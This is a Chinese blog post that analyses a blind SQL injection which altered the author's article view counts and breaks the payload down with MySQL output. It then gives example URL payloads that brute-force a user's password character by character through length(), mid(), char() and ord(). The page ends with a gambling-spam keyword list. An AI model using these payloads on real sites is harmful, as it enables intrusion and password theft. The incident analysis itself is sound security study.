遭遇一次MySQL猜解注入攻擊

MySQL高級Hack入侵
服務器君一共花費了164.865 ms進行了5次數據庫查詢,努力地為您提供了這個頁面。
試試閱讀模式?希望聽取您的建議

前些日子數據庫被入侵,文章的閱讀數都被纂改了,還好及時發現并做好備份。查一下 MySQL 語句記錄,發現這么原來是這么一句 SQL 在搗鬼:

UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))>112)#

PS:user 這個表是數據庫里一個以前測試用的表,表的結構也寫到博文里面,暴露了字段。

這句 SQL 為什么能那么厲害呢?我們接下來分析一下。

1. 首先是 CAST(FirstName AS CHAR) 這個子句。MySQL 的 CAST() 函數可用來獲取一個類型的值,并產生另一個類型的值。具體的使用可以參看 MySQL CAST與CONVERT 函數的用法 這篇文章。我們執行一下,看看結果是什么:

mysql> SELECT CAST(FirstName AS CHAR) FROM user;
+-------------------------+
| CAST(FirstName AS CHAR) |
+-------------------------+
| Gonn                    |
| Mio                     |
| Google                  |
| yale                    |
+-------------------------+
4 rows in set

就是將 FirstName 這個字段全部轉成 CHAR 類型。

2. 接下來我們再看 IFNULL(CAST(FirstName AS CHAR),0x20) 這個子句的作用。IFNULL 用法:IFNULL(expr1,expr2),如果 expr1 不是 NULL,IFNULL() 返回 expr1,否則它返回 expr2。具體可以參看《MySQL IFNULL()函數用法》。

執行一下:

mysql> SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user;
+--------------------------------------+
| IFNULL(CAST(FirstName AS CHAR),0x20) |
+--------------------------------------+
| Gonn                                 |
| Mio                                  |
| Google                               |
| yale                                 |
+--------------------------------------+
4 rows in set

雖然看起來結果沒啥不同,但是,它起到了一個作用。假設 CAST 轉換成 CHAR 失敗,它就會返回 0x20 這個值,為后面的 ORD 提供作用。

3. 接下來再看 MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) 這個子句。MID() 這個函數就是截取字符串用的,具體可以看看《MySQL MID()函數用法》這個。

mysql> SELECT MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1);
+----------------------------------------------------------------------------------------+
| MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1) |
+----------------------------------------------------------------------------------------+
| i                                                                                      |
+----------------------------------------------------------------------------------------+
1 row in set

就得到一個字母 i。

4. 關鍵的子句來了:ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1))。ORD() 函數返回字符串第一個字符的 ASCII 值, 《《MySQL ORD()函數用法》》。

mysql> SELECT ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1));
+---------------------------------------------------------------------------------------------+
| ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM user ORDER BY id LIMIT 1,1),2,1)) |
+---------------------------------------------------------------------------------------------+
|                                                                                         105 |
+---------------------------------------------------------------------------------------------+
1 row in set

就是 i 的 ASCII 碼是105.

如果是失敗,返回 0x20 這種情況:

mysql> SELECT ORD('0x20');
+-------------+
| ORD('0x20') |
+-------------+
|          48 |
+-------------+
1 row in set

兩種情況,在 ASCII 碼中都要比 112 前,就是下面的 hack 語句是可以執行的。

UPDATE table SET views = '1' WHERE id = -2441 OR (ORD(MID((SELECT IFNULL(CAST(FirstName AS CHAR),0x20) FROM nowamagic.`tb2` ORDER BY id LIMIT 1,1),2,1))>112)#

MySQL 猜解注入

在 MySQL 中內置了很多函數,利用它們,即使在沒有聯合查詢功能的老版本 MySQL 上也可以做一些意想不到的操作。假設網站存在于http://www.nm.net/,我們想知道用戶ID等于10的用戶的密碼,那么首先進行如下請求:

http://www.nm.net/index.php?id=10 and length(password)=12#

我們通過 length() 函數以及是否正確返回正常頁面來確定用戶密碼的長度,這里我們猜解的是12位,注意數字后要有一個#號。接下來用mid()和char()暴力猜解口令的每一個字符,如果猜對了則頁面返回正常:

http://www.nm.net/index.php?id=10 and mid(password,1,1)=char(0x60)#

Mid()函數原型是“Mid(str,pos,len)”,也可以用substring()函數。Char()函數的參數是ASCII值,在0~255之間,一個遍歷過去就可以完成破解。

另外還可以用between()函數先判斷這個字符是數字還是字母,縮小范圍,加快暴力破解的速度。例如要判斷字符是否是小寫字母還可以用如下請求:

http://www.nm.net/index.php?id=10 and (mid(password,1,1)) between char(0x61) and char(0x7A)#

除了char()函數,還可以用ord函數來進行猜解。Ord函數可以得到字符的ASCII值,所以它也能實現類似的功能:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))=0x6D#

用ord函數的另一個好處就是可以使用大于小于這種運算符來確定字符的范圍:

http://www.nm.net/index.php?id=10 and ord(mid(password,1,1))>0x41#

就這樣慢慢一步步手工猜解注入。

本文地址:http://www.snpmgr.live/librarys/veda/detail/2481,歡迎訪問原出處。

不打個分嗎?

轉載隨意,但請帶上本文地址:

http://www.snpmgr.live/librarys/veda/detail/2481

如果你認為這篇文章值得更多人閱讀,歡迎使用下面的分享功能。
小提示:您可以按快捷鍵 Ctrl + D,或點此 加入收藏。

閱讀一百本計算機著作吧,少年

很多人覺得自己技術進步很慢,學習效率低,我覺得一個重要原因是看的書少了。多少是多呢?起碼得看3、4、5、6米吧。給個具體的數量,那就100本書吧。很多人知識結構不好而且不系統,因為在特定領域有一個足夠量的知識量+足夠良好的知識結構,系統化以后就足以應對大量未曾遇到過的問題。

奉勸自學者:構建特定領域的知識結構體系的路徑中再也沒有比學習該專業的專業課程更好的了。如果我的知識結構體系足以囊括面試官的大部分甚至吞并他的知識結構體系的話,讀到他言語中的一個詞我們就已經知道他要表達什么,我們可以讓他坐“上位”畢竟他是面試官,但是在知識結構體系以及心理上我們就居高臨下。

所以,閱讀一百本計算機著作吧,少年!

《PHP經典實例(第2版)》 斯克拉(David Sklar) (作者), 切貝特伯格(Adam Tracbtenberg) (作者), 李松峰 (譯者), 秦緒文 (譯者), 李麗 (譯者)

PHP經典實例(第2版)能夠為您節省寶貴的Web開發時間。有了這些針對真實問題的解決方案放在手邊,大多數編程難題都會迎刃而解?!禤HP經典實例(第2版)》將PHP的特性與經典實例叢書的獨特形式組合到一起,足以幫您成功地構建跨瀏覽器的Web應用程序。在這個修訂版中,您可以更加方便地找到各種編程問題的解決方案,《PHP經典實例(第2版)》中內容涵蓋了:表單處理;Session管理;數據庫交互;使用Web服務。

更多計算機寶庫...

燃烧吧足球登陆 极速11选五走势图 好彩1玩法 捕鱼达人3破解版下载 大嘴棋牌 三人麻将规则 吉林十一选五遗漏号 昆明按摩推拿 足球比赛直播 星鑫广西欢乐棋牌 安徽快三规则图 极速飞艇是正规的吗 p62历史开奖号码黑龙江省 微乐微乐龙江麻将 西甲在线直播观看免 大众娱乐棋牌最新版 四众麻将